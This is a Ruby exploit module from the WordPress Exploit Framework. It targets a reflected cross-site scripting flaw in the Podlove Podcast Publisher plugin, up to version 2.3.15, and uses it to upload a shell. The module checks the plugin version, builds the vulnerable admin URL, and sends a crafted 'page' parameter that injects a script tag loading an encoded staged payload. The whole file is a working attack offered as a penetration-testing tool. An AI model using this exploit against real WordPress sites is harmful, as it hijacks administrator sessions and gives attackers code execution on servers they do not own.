# frozen_string_literal: true

class Wpxf::Exploit::PodlovePodcastPublisherReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'Podlove Podcast Publisher <= 2.3.15 Reflected XSS Shell Upload',
      author: [
        'rastating'  # WPXF module
      ],
      references: [
        ['WPVDB', '8697'],
        ['URL', 'https://www.rastating.com/podlove-podcast-publisher-2-3-15-reflected-xss']
      ],
      date: 'Dec 14 2016'
    )
  end

  def check
    check_plugin_version_from_changelog('podlove-podcasting-plugin-for-wordpress', 'readme.txt', '2.3.16')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'admin.php?page=podlove_episode_assets_settings_handle')
  end

  def initial_script
    create_basic_post_script(
      vulnerable_url,
      'page' => "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script><a href=\\\""
    )
  end
end
